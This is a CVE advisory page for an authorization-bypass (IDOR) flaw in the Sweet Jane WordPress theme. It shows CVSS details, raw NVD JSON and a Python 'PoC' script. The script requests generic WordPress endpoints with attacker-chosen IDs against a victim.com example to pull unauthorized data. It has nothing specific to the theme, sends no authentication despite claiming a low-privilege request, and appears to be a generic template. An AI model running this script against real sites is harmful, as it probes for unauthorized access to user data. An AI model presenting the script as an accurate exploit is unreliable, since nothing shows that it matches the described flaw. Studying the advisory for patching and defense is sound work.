Security Vulnerability Report
中文
CVE-2026-22426 CVSS 5.4 MEDIUM

CVE-2026-22426

Published: 2026-01-22 17:16:34
Last Modified: 2026-04-28 19:36:37

Description

Authorization Bypass Through User-Controlled Key vulnerability in Elated-Themes Sweet Jane sweetjane allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sweet Jane: from n/a through <= 1.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Sweet Jane Theme <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22426 PoC - Sweet Jane Theme IDOR # Description: Insecure Direct Object Reference in Sweet Jane Theme # CVSS: 5.4 (Medium) import requests import sys def exploit_idor(target_url, resource_id): """ Exploit IDOR vulnerability in Sweet Jane Theme Replace resource_id to access unauthorized resources """ # Target endpoint that uses user-controlled key endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/users/{resource_id}", f"{target_url}/?action=get_user_data&id={resource_id}" ] for endpoint in endpoints: try: # Low-privilege user request (no admin auth) headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Direct object reference without authorization check response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed resource ID: {resource_id}") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Failed to access resource ID: {resource_id}") except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <resource_id>") print("Example: python poc.py http://victim.com 1") sys.exit(1) target = sys.argv[1] resource_id = sys.argv[2] exploit_idor(target, resource_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22426", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:34.153", "lastModified": "2026-04-28T19:36:36.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Elated-Themes Sweet Jane sweetjane allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sweet Jane: from n/a through <= 1.2."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autorización a través de clave controlada por el usuario en Elated-Themes Sweet Jane sweetjane permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Sweet Jane: desde n/a hasta &lt;= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sweetjane/vulnerability/wordpress-sweet-jane-theme-1-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}